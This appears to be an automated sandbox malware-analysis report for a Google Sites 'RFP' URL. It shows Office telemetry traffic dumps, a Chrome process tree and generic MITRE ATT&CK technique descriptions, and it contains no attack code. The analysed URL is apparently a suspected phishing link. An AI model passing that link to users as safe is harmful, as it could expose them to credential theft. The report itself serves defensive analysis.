2024-11-25 04:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:30 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 8b9ec706-101e-000b-544c-3c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045930Z-15b8b599d88pxmdghC1TEBux9c00000005h000000000dfq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:30 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:30 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:30 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045930Z-178bfbc474bpnd5vhC1NYC4vr4000000070g000000005pdv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:30 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:30 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:30 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045930Z-174c587ffdf9xbcchC1TEBxkz400000005c0000000004t0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:30 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:30 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:30 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: af6ae163-c01e-0082-6735-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045930Z-178bfbc474bnwsh4hC1NYC2ubs000000073000000000694q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:30 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:31 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0aa534f7-c01e-0014-501a-3ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045932Z-178bfbc474b9fdhphC1NYCac0n00000006u000000000h1vt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:32 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 77e83d57-401e-0016-5857-3c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045932Z-15b8b599d882l6clhC1TEBxd5c00000005a000000000d8a9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:32 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 15dd4eb7-201e-0051-500a-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045932Z-178bfbc474bpscmfhC1NYCfc2c00000005k0000000009we2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:32 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:32 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045932Z-174c587ffdf6b487hC1TEBydsn00000005g0000000000cke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:32 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:32 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net

Target ID:	0
Start time:	23:58:07
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	23:58:09
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2084,i,14014405746246284564,13049025403623496514,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	23:58:11
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sites.google.com/mdisrupt.com/rfp/home"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://sites.google.com/mdisrupt.com/rfp/home

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Windows Analysis Report
https://sites.google.com/mdisrupt.com/rfp/home